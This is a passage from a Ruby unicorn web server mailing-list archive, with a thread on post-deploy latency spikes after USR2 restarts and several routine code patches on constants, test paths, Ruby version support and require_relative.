>> On Wed, Mar 4, 2015 at 12:35 PM, Eric Wong <e@80x24.org> wrote:
>>
>>> Sarkis Varozian <svarozian@gmail.com> wrote:
>>> > On Wed, Mar 4, 2015 at 12:17 PM, Michael Fischer <mfischer@zendesk.com
>>> >
>>> > wrote:
>>> >
>>> > > I'm not exactly sure how preload_app works, but I suspect your app is
>>> > > lazy-loading a number of Ruby libraries while handling the first few
>>> > > requests that weren't automatically loaded during the preload
>>> process.
>>> > >
>>> > > Eric, your thoughts?
>>>
>>> (top-posting corrected)
>>>
>>> Yeah, preload_app won't help startup speed if much of the app is
>>> autoloaded.
>>>
>>> Sarkis: which Ruby version are you running? IIRC, 1.9.2 had terrible
>>> startup performance compared to 1.9.3 and later in case you're stuck on
>>> 1.9.2
>>>
>>> > That does make sense - I was looking at another suggestion from a user
>>> here
>>> > (Braulio) of running a "warmup" using rack MockRequest:
>>> > https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L77
>>> >
>>> > The only issue I am having with the above solution is it is happening
>>> in
>>> > the before_fork block - shouldn't I warmup the connection in
>>> after_fork?
>>>
>>> If preload_app is true, you can warmup in before_fork; otherwise it
>>> needs to be after_fork.
>>>
>>> > If
>>> > I follow the above gist properly it warms up the server with the old
>>> > activerecord base connection and then its turned off, then turned back
>>> on
>>> > in after_fork. I think I am not understanding the sequence of events
>>> > there...
>>>
>>> With preload_app and warmup, you need to ensure any stream connections
>>> (DB, memcached, redis, etc..) do not get shared between processes, so
>>> it's standard practice to disconnect in the parent and reconnect in the
>>> child.
>>>
>>> > If this is the case, I should warmup and also check/kill the old
>>> > master in the after_fork block after the new db, redis, neo4j
>>> connections
>>> > are all created. Thoughts?
>>>
>>> I've been leaving killing the master outside of the unicorn hooks
>>> and doing it as a separate step; seemed too fragile to do it in
>>> hooks from my perspective.
>>>
>>
>>
>>
>> --
>> *Sarkis Varozian*
>> svarozian@gmail.com
>>
>
>
>
> --
> *Sarkis Varozian*
> svarozian@gmail.com
>
--
"Lute pela sua ideologia. Seja um com sua ideologia. Viva pela sua
ideologia. Morra por sua ideologia" P.R. Sarkar
EITA - Educação, Informação e Tecnologias para Autogestão
http://cirandas.net/brauliobo
http://eita.org.br
"Paramapurusha é meu pai e Parama Prakriti é minha mãe. O universo é meu
lar e todos nós somos cidadãos deste cosmo. Este universo é a imaginação da
Mente Macrocósmica, e todas as entidades estão sendo criadas, preservadas e
destruídas nas fases de extroversão e introversão do fluxo imaginativo
cósmico. No âmbito pessoal, quando uma pessoa imagina algo em sua mente,
naquele momento, essa pessoa é a única proprietária daquilo que ela
imagina, e ninguém mais. Quando um ser humano criado mentalmente caminha
por um milharal também imaginado, a pessoa imaginada não é a propriedade
desse milharal, pois ele pertence ao indivíduo que o está imaginando. Este
universo foi criado na imaginação de Brahma, a Entidade Suprema, por isso
a propriedade deste universo é de Brahma, e não dos microcosmos que também
foram criados pela imaginação de Brahma. Nenhuma propriedade deste mundo,
mutável ou imutável, pertence a um indivíduo em particular; tudo é o
patrimônio comum de todos."
Restante do texto em
http://cirandas.net/brauliobo/blog/a-problematica-de-hoje-em-dia
^ permalink raw reply [relevance 0%]
* Re: Request Queueing after deploy + USR2 restart
2015-03-04 20:40 0% ` Sarkis Varozian
@ 2015-03-05 17:07 0% ` Sarkis Varozian
2015-03-05 17:13 0% ` Bráulio Bhavamitra
0 siblings, 1 reply; 200+ results
From: Sarkis Varozian @ 2015-03-05 17:07 UTC (permalink / raw)
To: Eric Wong; +Cc: Michael Fischer, unicorn-public, Bráulio Bhavamitra
Hey All,
So I changed up my unicorn.rb a bit from my original post:
https://gist.github.com/sarkis/1aa296044b1dfd3695ab
I'm also still sending the USR2 signals on deploy staggered with 30 second
delay via capistrano:
on roles(:web), in: :sequence, wait: 30
As you can see I am now doing a warup via rack MockRequest (I hoped this
would warmup the master). However, this is what a deploy looks like on
newrelic:
https://www.dropbox.com/s/beh7nc8npdfijqp/Screenshot%202015-03-05%2009.05.15.png?dl=0
https://www.dropbox.com/s/w08gpvp7mpik3vs/Screenshot%202015-03-05%2009.06.51.png?dl=0
I'm running out of ideas to get rid of thse latency spikes. Would you guys
recommend I try anything else at this point?
On Wed, Mar 4, 2015 at 12:40 PM, Sarkis Varozian <svarozian@gmail.com>
wrote:
> Eric,
>
> Thanks for the quick reply.
>
> We are on Ruby 2.1.5p273 and unicorn 4.8.3. I believe our problem is the
> lazy loading - at least thats what all signs point to. I am going to try
> and mock request some url endpoints. Currently, I can only think of '/', as
> most other parts of the app require a session and auth. I'll report back
> with results.
>
>
>
> On Wed, Mar 4, 2015 at 12:35 PM, Eric Wong <e@80x24.org> wrote:
>
>> Sarkis Varozian <svarozian@gmail.com> wrote:
>> > On Wed, Mar 4, 2015 at 12:17 PM, Michael Fischer <mfischer@zendesk.com>
>> > wrote:
>> >
>> > > I'm not exactly sure how preload_app works, but I suspect your app is
>> > > lazy-loading a number of Ruby libraries while handling the first few
>> > > requests that weren't automatically loaded during the preload process.
>> > >
>> > > Eric, your thoughts?
>>
>> (top-posting corrected)
>>
>> Yeah, preload_app won't help startup speed if much of the app is
>> autoloaded.
>>
>> Sarkis: which Ruby version are you running? IIRC, 1.9.2 had terrible
>> startup performance compared to 1.9.3 and later in case you're stuck on
>> 1.9.2
>>
>> > That does make sense - I was looking at another suggestion from a user
>> here
>> > (Braulio) of running a "warmup" using rack MockRequest:
>> > https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L77
>> >
>> > The only issue I am having with the above solution is it is happening in
>> > the before_fork block - shouldn't I warmup the connection in after_fork?
>>
>> If preload_app is true, you can warmup in before_fork; otherwise it
>> needs to be after_fork.
>>
>> > If
>> > I follow the above gist properly it warms up the server with the old
>> > activerecord base connection and then its turned off, then turned back
>> on
>> > in after_fork. I think I am not understanding the sequence of events
>> > there...
>>
>> With preload_app and warmup, you need to ensure any stream connections
>> (DB, memcached, redis, etc..) do not get shared between processes, so
>> it's standard practice to disconnect in the parent and reconnect in the
>> child.
>>
>> > If this is the case, I should warmup and also check/kill the old
>> > master in the after_fork block after the new db, redis, neo4j
>> connections
>> > are all created. Thoughts?
>>
>> I've been leaving killing the master outside of the unicorn hooks
>> and doing it as a separate step; seemed too fragile to do it in
>> hooks from my perspective.
>>
>
>
>
> --
> *Sarkis Varozian*
> svarozian@gmail.com
>
--
*Sarkis Varozian*
svarozian@gmail.com
^ permalink raw reply [relevance 0%]
* Re: Request Queueing after deploy + USR2 restart
2015-03-04 20:35 3% ` Eric Wong
@ 2015-03-04 20:40 0% ` Sarkis Varozian
2015-03-05 17:07 0% ` Sarkis Varozian
0 siblings, 1 reply; 200+ results
From: Sarkis Varozian @ 2015-03-04 20:40 UTC (permalink / raw)
To: Eric Wong; +Cc: Michael Fischer, unicorn-public
Eric,
Thanks for the quick reply.
We are on Ruby 2.1.5p273 and unicorn 4.8.3. I believe our problem is the
lazy loading - at least thats what all signs point to. I am going to try
and mock request some url endpoints. Currently, I can only think of '/', as
most other parts of the app require a session and auth. I'll report back
with results.
On Wed, Mar 4, 2015 at 12:35 PM, Eric Wong <e@80x24.org> wrote:
> Sarkis Varozian <svarozian@gmail.com> wrote:
> > On Wed, Mar 4, 2015 at 12:17 PM, Michael Fischer <mfischer@zendesk.com>
> > wrote:
> >
> > > I'm not exactly sure how preload_app works, but I suspect your app is
> > > lazy-loading a number of Ruby libraries while handling the first few
> > > requests that weren't automatically loaded during the preload process.
> > >
> > > Eric, your thoughts?
>
> (top-posting corrected)
>
> Yeah, preload_app won't help startup speed if much of the app is
> autoloaded.
>
> Sarkis: which Ruby version are you running? IIRC, 1.9.2 had terrible
> startup performance compared to 1.9.3 and later in case you're stuck on
> 1.9.2
>
> > That does make sense - I was looking at another suggestion from a user
> here
> > (Braulio) of running a "warmup" using rack MockRequest:
> > https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L77
> >
> > The only issue I am having with the above solution is it is happening in
> > the before_fork block - shouldn't I warmup the connection in after_fork?
>
> If preload_app is true, you can warmup in before_fork; otherwise it
> needs to be after_fork.
>
> > If
> > I follow the above gist properly it warms up the server with the old
> > activerecord base connection and then its turned off, then turned back on
> > in after_fork. I think I am not understanding the sequence of events
> > there...
>
> With preload_app and warmup, you need to ensure any stream connections
> (DB, memcached, redis, etc..) do not get shared between processes, so
> it's standard practice to disconnect in the parent and reconnect in the
> child.
>
> > If this is the case, I should warmup and also check/kill the old
> > master in the after_fork block after the new db, redis, neo4j connections
> > are all created. Thoughts?
>
> I've been leaving killing the master outside of the unicorn hooks
> and doing it as a separate step; seemed too fragile to do it in
> hooks from my perspective.
>
--
*Sarkis Varozian*
svarozian@gmail.com
^ permalink raw reply [relevance 0%]
* Re: Request Queueing after deploy + USR2 restart
@ 2015-03-04 20:35 3% ` Eric Wong
2015-03-04 20:40 0% ` Sarkis Varozian
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-03-04 20:35 UTC (permalink / raw)
To: Sarkis Varozian; +Cc: Michael Fischer, unicorn-public
Sarkis Varozian <svarozian@gmail.com> wrote:
> On Wed, Mar 4, 2015 at 12:17 PM, Michael Fischer <mfischer@zendesk.com>
> wrote:
>
> > I'm not exactly sure how preload_app works, but I suspect your app is
> > lazy-loading a number of Ruby libraries while handling the first few
> > requests that weren't automatically loaded during the preload process.
> >
> > Eric, your thoughts?
(top-posting corrected)
Yeah, preload_app won't help startup speed if much of the app is
autoloaded.
Sarkis: which Ruby version are you running? IIRC, 1.9.2 had terrible
startup performance compared to 1.9.3 and later in case you're stuck on
1.9.2
> That does make sense - I was looking at another suggestion from a user here
> (Braulio) of running a "warmup" using rack MockRequest:
> https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L77
>
> The only issue I am having with the above solution is it is happening in
> the before_fork block - shouldn't I warmup the connection in after_fork?
If preload_app is true, you can warmup in before_fork; otherwise it
needs to be after_fork.
> If
> I follow the above gist properly it warms up the server with the old
> activerecord base connection and then its turned off, then turned back on
> in after_fork. I think I am not understanding the sequence of events
> there...
With preload_app and warmup, you need to ensure any stream connections
(DB, memcached, redis, etc..) do not get shared between processes, so
it's standard practice to disconnect in the parent and reconnect in the
child.
> If this is the case, I should warmup and also check/kill the old
> master in the after_fork block after the new db, redis, neo4j connections
> are all created. Thoughts?
I've been leaving killing the master outside of the unicorn hooks
and doing it as a separate step; seemed too fragile to do it in
hooks from my perspective.
^ permalink raw reply [relevance 3%]
* [PATCH 2/2] reduce and localize constant string use
@ 2015-02-09 9:12 4% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-09 9:12 UTC (permalink / raw)
To: unicorn-public
Literal String#freeze avoids allocations since Ruby 2.1 via the
opt_str_freeze instruction, so we can start relying on it in
some places as Ruby 2.1 adoption increases. The 100-continue
handling is a good place to start since it is an uncommonly-used
code path which benefits from size reduction and the negative
performance impact is restricted to a handful of users.
HTTP_RESPONSE_START can safely live in http_request.rb as its
usage does not cross namespace boundaries
The goal is to eventually eliminate Unicorn::Const entirely.
---
lib/unicorn/const.rb | 17 +----------------
lib/unicorn/http_request.rb | 5 ++++-
lib/unicorn/http_server.rb | 18 ++++++++++--------
3 files changed, 15 insertions(+), 25 deletions(-)
diff --git a/lib/unicorn/const.rb b/lib/unicorn/const.rb
index e24b511..33ab4ac 100644
--- a/lib/unicorn/const.rb
+++ b/lib/unicorn/const.rb
@@ -1,12 +1,6 @@
# -*- encoding: binary -*-
-# :enddoc:
-# Frequently used constants when constructing requests or responses.
-# Many times the constant just refers to a string with the same
-# contents. Using these constants gave about a 3% to 10% performance
-# improvement over using the strings directly. Symbols did not really
-# improve things much compared to constants.
-module Unicorn::Const
+module Unicorn::Const # :nodoc:
# default TCP listen host address (0.0.0.0, all interfaces)
DEFAULT_HOST = "0.0.0.0"
@@ -23,14 +17,5 @@ module Unicorn::Const
# temporary file for reading (112 kilobytes). This is the default
# value of client_body_buffer_size.
MAX_BODY = 1024 * 112
-
- # :stopdoc:
- EXPECT_100_RESPONSE = "HTTP/1.1 100 Continue\r\n\r\n"
- EXPECT_100_RESPONSE_SUFFIXED = "100 Continue\r\n\r\nHTTP/1.1 "
-
- HTTP_RESPONSE_START = ['HTTP', '/1.1 ']
- HTTP_EXPECT = "HTTP_EXPECT"
-
- # :startdoc:
end
require_relative 'version'
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 6b20431..9888430 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -26,8 +26,11 @@ class Unicorn::HttpParser
# :stopdoc:
# A frozen format for this is about 15% faster
+ # Drop these frozen strings when Ruby 2.2 becomes more prevalent,
+ # 2.2+ optimizes hash assignments when used with literal string keys
REMOTE_ADDR = 'REMOTE_ADDR'.freeze
RACK_INPUT = 'rack.input'.freeze
+ HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
@@input_class = Unicorn::TeeInput
@@check_client_connection = false
@@ -86,7 +89,7 @@ class Unicorn::HttpParser
# detect if the socket is valid by writing a partial response:
if @@check_client_connection && headers?
@response_start_sent = true
- Unicorn::Const::HTTP_RESPONSE_START.each { |c| socket.write(c) }
+ HTTP_RESPONSE_START.each { |c| socket.write(c) }
end
e[RACK_INPUT] = 0 == content_length ?
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index c44a71e..f0216d0 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -546,12 +546,15 @@ class Unicorn::HttpServer
rescue
end
- def expect_100_response
- if @request.response_start_sent
- Unicorn::Const::EXPECT_100_RESPONSE_SUFFIXED
- else
- Unicorn::Const::EXPECT_100_RESPONSE
- end
+ def e100_response_write(client, env)
+ # We use String#freeze to avoid allocations under Ruby 2.1+
+ # Not many users hit this code path, so it's better to reduce the
+ # constant table sizes even for 1.9.3-2.0 users who'll hit extra
+ # allocations here.
+ client.write(@request.response_start_sent ?
+ "100 Continue\r\n\r\nHTTP/1.1 ".freeze :
+ "HTTP/1.1 100 Continue\r\n\r\n".freeze)
+ env.delete('HTTP_EXPECT'.freeze)
end
# once a client is accepted, it is processed in its entirety here
@@ -561,8 +564,7 @@ class Unicorn::HttpServer
return if @request.hijacked?
if 100 == status.to_i
- client.write(expect_100_response)
- env.delete(Unicorn::Const::HTTP_EXPECT)
+ e100_response_write(client, env)
status, headers, body = @app.call(env)
return if @request.hijacked?
end
--
EW
^ permalink raw reply related [relevance 4%]
* [PATCH] fix uninstalled testing and reduce require paths
@ 2015-02-06 22:17 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-06 22:17 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
This fixes a bug introduced in
commit fe83ead4eae6f011fa15f506cd80cb4256813a92
(GNUmakefile: fix clean gem build + reduce build cruft)
which broke clean Ruby installations without an existing
unicorn gem installed :x
---
GNUmakefile | 10 +++++++---
test/exec/test_exec.rb | 2 +-
test/unit/test_http_parser.rb | 2 +-
test/unit/test_http_parser_ng.rb | 2 +-
test/unit/test_request.rb | 2 +-
test/unit/test_response.rb | 2 +-
test/unit/test_server.rb | 2 +-
test/unit/test_signals.rb | 2 +-
test/unit/test_socket_helper.rb | 2 +-
test/unit/test_upload.rb | 2 +-
test/unit/test_util.rb | 2 +-
11 files changed, 17 insertions(+), 13 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index 8bd63ee..2995a6b 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -59,13 +59,17 @@ $(ext)/unicorn_http.$(DLEXT): $(ext)/Makefile
$(MAKE) -C $(@D)
http: $(ext)/unicorn_http.$(DLEXT)
+# only used for tests
+http-install: $(ext)/unicorn_http.$(DLEXT)
+ install -m644 $< lib/
+
test-install: $(test_prefix)/.stamp
$(test_prefix)/.stamp: $(inst_deps)
mkdir -p $(test_prefix)/.ccache
tar cf - $(inst_deps) GIT-VERSION-GEN | \
(cd $(test_prefix) && tar xf -)
$(MAKE) -C $(test_prefix) clean
- $(MAKE) -C $(test_prefix) http shebang RUBY="$(RUBY)"
+ $(MAKE) -C $(test_prefix) http-install shebang RUBY="$(RUBY)"
> $@
# this is only intended to be run within $(test_prefix)
@@ -119,14 +123,14 @@ run_test = $(quiet_pre) \
%.n: arg = $(subst .n,,$(subst --, -n ,$@))
%.n: t = $(subst .n,$(log_suffix),$@)
%.n: export PATH := $(test_prefix)/bin:$(PATH)
-%.n: export RUBYLIB := $(test_prefix):$(test_prefix)/lib:$(MYLIBS)
+%.n: export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
%.n: $(test_prefix)/.stamp
$(run_test)
$(T): arg = $@
$(T): t = $(subst .rb,$(log_suffix),$@)
$(T): export PATH := $(test_prefix)/bin:$(PATH)
-$(T): export RUBYLIB := $(test_prefix):$(test_prefix)/lib:$(MYLIBS)
+$(T): export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
$(T): $(test_prefix)/.stamp
$(run_test)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 10a1bae..6deb96b 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2009 Eric Wong
FLOCK_PATH = File.expand_path(__FILE__)
-require 'test/test_helper'
+require './test/test_helper'
do_test = true
$unicorn_bin = ENV['UNICORN_TEST_BIN'] || "unicorn"
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 2251dcf..431ede5 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -7,7 +7,7 @@
# Additional work donated by contributors. See git history
# for more information.
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index d5c8d2e..0c81072 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/test_helper'
+require './test/test_helper'
require 'digest/md5'
include Unicorn
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index fbda1a2..f0ccaf7 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -4,7 +4,7 @@
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
# the GPLv2+ (GPLv3+ preferred)
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index bdca9f5..d0f0c79 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -7,7 +7,7 @@
# Additional work donated by contributors. See git history
# for more information.
-require 'test/test_helper'
+require './test/test_helper'
require 'time'
include Unicorn
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 9c92bab..8b3afad 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -7,7 +7,7 @@
# Additional work donated by contributors. See git history
# for more information.
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 443c736..4592819 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -6,7 +6,7 @@
#
# Ensure we stay sane in the face of signals being sent to us
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 994b990..8b09198 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/test_helper'
+require './test/test_helper'
require 'tempfile'
class TestSocketHelper < Test::Unit::TestCase
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
index bcce4bc..5de02e4 100644
--- a/test/unit/test_upload.rb
+++ b/test/unit/test_upload.rb
@@ -1,7 +1,7 @@
# -*- encoding: binary -*-
# Copyright (c) 2009 Eric Wong
-require 'test/test_helper'
+require './test/test_helper'
require 'digest/md5'
include Unicorn
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index 904d51c..4d17a16 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/test_helper'
+require './test/test_helper'
require 'tempfile'
class TestUtil < Test::Unit::TestCase
--
EW
^ permalink raw reply related [relevance 3%]
* [PATCH] doc: update support status for Ruby versions
@ 2015-02-06 20:15 9% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-06 20:15 UTC (permalink / raw)
To: unicorn-public
unicorn 5 will not support Ruby 1.8 anymore.
Drop mentions of Rubinius, too, it's too difficult to support due to
the proprietary and registration-required nature of its bug tracker.
The smaller memory footprint and CoW-friendly memory allocator in
mainline Ruby is a better fit for unicorn, anyways.
Since Ruby 1.9+ bundles RubyGems and gem startup is faster nowadays,
we'll just depend on that instead of not loading RubyGems.
Drop the local.mk.sample file, too, since it's way out-of-date
and probably isn't useful (I have not used it in a while).
---
HACKING | 23 +++-------------
KNOWN_ISSUES | 20 +++++++-------
README | 3 ++-
Sandbox | 2 +-
lib/unicorn/configurator.rb | 2 --
lib/unicorn/http_server.rb | 4 +--
local.mk.sample | 59 -----------------------------------------
t/README | 2 +-
test/unit/test_socket_helper.rb | 4 +--
9 files changed, 22 insertions(+), 97 deletions(-)
delete mode 100644 local.mk.sample
diff --git a/HACKING b/HACKING
index 9b4da1b..6c5f897 100644
--- a/HACKING
+++ b/HACKING
@@ -19,13 +19,6 @@ RubyGems.
Users of GNU-based systems (such as GNU/Linux) usually have GNU make
installed as "make" instead of "gmake".
-Since we don't load RubyGems by default, loading Rack properly requires
-setting up RUBYLIB to point to where Rack is located. Not loading
-RubyGems drastically lowers the time to run the full test suite. You
-may setup a "local.mk" file in the top-level working directory to setup
-your RUBYLIB and any other environment variables. A "local.mk.sample"
-file is provided for reference.
-
Running the entire test suite with 4 tests in parallel:
gmake -j4 check
@@ -70,10 +63,9 @@ becomes unavailable.
=== Ruby/C Compatibility
-We target Ruby 1.8.6+, 1.9 and will target Rubinius as it becomes
-production-ready. We need the Ruby implementation to support fork,
-exec, pipe, UNIX signals, access to integer file descriptors and
-ability to use unlinked files.
+We target mainline Ruby 1.9.3 and later. We need the Ruby
+implementation to support fork, exec, pipe, UNIX signals, access to
+integer file descriptors and ability to use unlinked files.
All of our C code is OS-independent and should run on compilers
supported by the versions of Ruby we target.
@@ -123,13 +115,6 @@ You can build the Unicorn gem with the following command:
It is easy to install the contents of your git working directory:
-Via RubyGems (RubyGems 1.3.5+ recommended for prerelease versions):
+Via RubyGems
gmake install-gem
-
-Without RubyGems (via setup.rb):
-
- gmake install
-
-It is not at all recommended to mix a RubyGems installation with an
-installation done without RubyGems, however.
diff --git a/KNOWN_ISSUES b/KNOWN_ISSUES
index 38263e7..69e4f57 100644
--- a/KNOWN_ISSUES
+++ b/KNOWN_ISSUES
@@ -17,16 +17,6 @@ acceptable solution. Those issues are documented here.
have builtin workarounds for Kernel#rand and OpenSSL::Random users,
but applications may use other PRNGs.
-* Under some versions of Ruby 1.8, it is necessary to call +srand+ in an
- after_fork hook to get correct random number generation. We have a builtin
- workaround for this starting with \Unicorn 3.6.1
-
- See http://redmine.ruby-lang.org/issues/show/4338
-
-* On Ruby 1.8 prior to Ruby 1.8.7-p248, *BSD platforms have a broken
- stdio that causes failure for file uploads larger than 112K. Upgrade
- your version of Ruby or continue using Unicorn 1.x/3.4.x.
-
* For notes on sandboxing tools such as Bundler or Isolate,
see the {Sandbox}[link:Sandbox.html] page.
@@ -44,6 +34,16 @@ acceptable solution. Those issues are documented here.
== Known Issues (Old)
+* Under some versions of Ruby 1.8, it is necessary to call +srand+ in an
+ after_fork hook to get correct random number generation. We have a builtin
+ workaround for this starting with \Unicorn 3.6.1
+
+ See http://redmine.ruby-lang.org/issues/show/4338
+
+* On Ruby 1.8 prior to Ruby 1.8.7-p248, *BSD platforms have a broken
+ stdio that causes failure for file uploads larger than 112K. Upgrade
+ your version of Ruby or continue using Unicorn 1.x/3.4.x.
+
* Under Ruby 1.9.1, methods like Array#shuffle and Array#sample will
segfault if called after forking. Upgrade to Ruby 1.9.2 or call
"Kernel.rand" in your after_fork hook to reinitialize the random
diff --git a/README b/README
index 02d01e1..f084d0c 100644
--- a/README
+++ b/README
@@ -12,7 +12,8 @@ both the the request and response in between \Unicorn and slow clients.
cut out everything that is better supported by the operating system,
{nginx}[http://nginx.net/] or {Rack}[http://rack.github.io/].
-* Compatible with Ruby 1.8 and later. Rubinius support is in-progress.
+* Compatible with Ruby 1.9.3 and later.
+ unicorn 4.8.x will remain supported for Ruby 1.8 users.
* Process management: \Unicorn will reap and restart workers that
die from broken apps. There is no need to manage multiple processes
diff --git a/Sandbox b/Sandbox
index 3c7f226..f662b27 100644
--- a/Sandbox
+++ b/Sandbox
@@ -86,7 +86,7 @@ For now workarounds include doing one of the following:
3. Explicitly setting RUBYLIB or $LOAD_PATH to include any gem path
where the unicorn gem is installed
- (e.g. /usr/lib/ruby/gems/1.9.1/gems/unicorn-VERSION/lib)
+ (e.g. /usr/lib/ruby/gems/1.9.3/gems/unicorn-VERSION/lib)
=== RUBYOPT pollution from SIGUSR2 upgrades
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index d14e608..69b4644 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -306,8 +306,6 @@ class Unicorn::Configurator
# to receive IPv4 queries on dual-stack systems. A separate IPv4-only
# listener is required if this is true.
#
- # This option is only available for Ruby 1.9.2 and later.
- #
# Enabling this option for the IPv6-only listener and having a
# separate IPv4 listener is recommended if you wish to support IPv6
# on the same TCP port. Otherwise, the value of \env[\"REMOTE_ADDR\"]
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 95a8ffe..895f56d 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -67,7 +67,7 @@ class Unicorn::HttpServer
# you can set the following in your Unicorn config file, HUP and then
# continue with the traditional USR2 + QUIT upgrade steps:
#
- # Unicorn::HttpServer::START_CTX[0] = "/home/bofh/1.9.2/bin/unicorn"
+ # Unicorn::HttpServer::START_CTX[0] = "/home/bofh/2.2.0/bin/unicorn"
START_CTX = {
:argv => ARGV.map { |arg| arg.dup },
0 => $0.dup,
@@ -453,7 +453,7 @@ class Unicorn::HttpServer
# exec(command, hash) works in at least 1.9.1+, but will only be
# required in 1.9.4/2.0.0 at earliest.
- cmd << listener_fds if RUBY_VERSION >= "1.9.1"
+ cmd << listener_fds
logger.info "executing #{cmd.inspect} (in #{Dir.pwd})"
before_exec.call(self)
exec(*cmd)
diff --git a/local.mk.sample b/local.mk.sample
deleted file mode 100644
index 25bca5d..0000000
diff --git a/t/README b/t/README
index 095f106..bcaf3ce 100644
--- a/t/README
+++ b/t/README
@@ -10,7 +10,7 @@ comfortable writing integration tests with.
== Requirements
-* {Ruby 1.8 or 1.9}[http://www.ruby-lang.org/] (duh!)
+* {Ruby 1.9.3+}[https://www.ruby-lang.org/] (duh!)
* {GNU make}[http://www.gnu.org/software/make/]
* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[http://curl.haxx.se/]
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index dd6881c..994b990 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -182,8 +182,8 @@ class TestSocketHelper < Test::Unit::TestCase
sock = bind_listen "[#@test6_addr]:#{port}", :ipv6only => true
cur = sock.getsockopt(:IPPROTO_IPV6, :IPV6_V6ONLY).unpack('i')[0]
assert_equal 1, cur
- rescue Errno::EAFNOSUPPORT
- end if RUBY_VERSION >= "1.9.2"
+ rescue Errno::EAFNOSUPPORT
+ end
def test_reuseport
port = unused_port @test_addr
--
EW
^ permalink raw reply related [relevance 9%]
* [PATCH] use require_relative to reduce syscalls at startup
@ 2015-02-05 18:01 12% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-05 18:01 UTC (permalink / raw)
To: unicorn-public
require_relative appeared in Ruby 1.9.2 to speed up load times by
avoiding needless open() syscalls. This has no effect if you're using
RUBYLIB or the '-I' option when running ruby(1), but avoids searching
paths in other gems.
This does not affect unicorn greatly as unicorn does not activate many
gems, but still leads to reducing ~45 syscalls during startup.
---
lib/unicorn.rb | 16 +++++-----------
lib/unicorn/const.rb | 2 +-
2 files changed, 6 insertions(+), 12 deletions(-)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index cfa1656..dd02761 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -104,14 +104,8 @@ module Unicorn
# :startdoc:
end
# :enddoc:
-require 'unicorn/const'
-require 'unicorn/socket_helper'
-require 'unicorn/stream_input'
-require 'unicorn/tee_input'
-require 'unicorn/http_request'
-require 'unicorn/configurator'
-require 'unicorn/tmpio'
-require 'unicorn/util'
-require 'unicorn/http_response'
-require 'unicorn/worker'
-require 'unicorn/http_server'
+
+%w(const socket_helper stream_input tee_input http_request configurator
+ tmpio util http_response worker http_server).each do |s|
+ require_relative "unicorn/#{s}"
+end
diff --git a/lib/unicorn/const.rb b/lib/unicorn/const.rb
index 51d7394..26fa62b 100644
--- a/lib/unicorn/const.rb
+++ b/lib/unicorn/const.rb
@@ -41,4 +41,4 @@ module Unicorn::Const
# :startdoc:
end
-require 'unicorn/version'
+require_relative 'version'
--
EW
^ permalink raw reply related [relevance 12%]
* [PATCH] favor IO#close_on_exec= over fcntl in 1.9+
@ 2015-02-05 18:01 5% Eric Wong
0 siblings, 0 replies; 200+ results
